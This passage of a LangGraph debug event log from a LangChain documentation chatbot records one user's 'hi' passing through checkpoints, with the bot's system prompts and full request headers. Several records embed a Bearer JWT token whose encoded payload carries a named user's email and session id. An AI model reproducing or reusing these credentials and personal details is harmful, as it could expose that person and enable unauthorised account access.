m92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_id":"1f09269f-0392-6f0b-8001-16692042b92d"}},"parent_config":{"configurable":{"checkpoint_ns":"","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_id":"1f09269e-f6c8-6e8f-8000-61b81d860490"}},"values":{"messages":[{"content":"hi","additional_kwargs":{},"response_metadata":{},"type":"human","name":null,"id":"7aae7cba-94b6-4218-8747-4f0f66a34000","example":false}],"steps":["Greet the user and ask about their specific LangChain-related question or issue"],"documents":[],"query":"hi"},"metadata":{"source":"loop","step":1,"parents":{}},"next":["conduct_research"],"tasks":[{"id":"112ad8d7-bbc3-68b9-5d81-cead45ae71fb","name":"conduct_research","interrupts":[],"checkpoint":{"thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb"}}],"checkpoint":{"checkpoint_id":"1f09269f-0392-6f0b-8001-16692042b92d","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":""},"parent_checkpoint":{"checkpoint_id":"1f09269e-f6c8-6e8f-8000-61b81d860490","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":""}}} + +event: debug +data: {"step":2,"timestamp":"2025-09-15T19:26:54.799056+00:00","type":"task","payload":{"id":"112ad8d7-bbc3-68b9-5d81-cead45ae71fb","name":"conduct_research","input":{"messages":[{"content":"hi","additional_kwargs":{},"response_metadata":{},"type":"human","name":null,"id":"7aae7cba-94b6-4218-8747-4f0f66a34000","example":false}],"router":{"type":"general","logic":""},"steps":["Greet the user and ask about their specific LangChain-related question or issue"],"documents":[],"answer":"","query":"hi"},"triggers":["branch:to:conduct_research"]}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":-1,"timestamp":"2025-09-15T19:26:54.807294+00:00","type":"checkpoint","payload":{"config":{"configurable":{"checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-03a7-684d-bfff-2e6b72ff5736"},"checkpoint_id":"1f09269f-03a7-684d-bfff-2e6b72ff5736"}},"parent_config":null,"values":{"documents":[]},"metadata":{"source":"input","step":-1,"parents":{"":"1f09269f-0392-6f0b-8001-16692042b92d"}},"next":["__start__"],"tasks":[{"id":"7f9d40fe-f70a-c511-3033-b4a6c4d6d736","name":"__start__","interrupts":[],"state":null}],"checkpoint":{"checkpoint_id":"1f09269f-03a7-684d-bfff-2e6b72ff5736","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-03a7-684d-bfff-2e6b72ff5736"}},"parent_checkpoint":null}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":0,"timestamp":"2025-09-15T19:26:54.807690+00:00","type":"checkpoint","payload":{"config":{"configurable":{"checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the 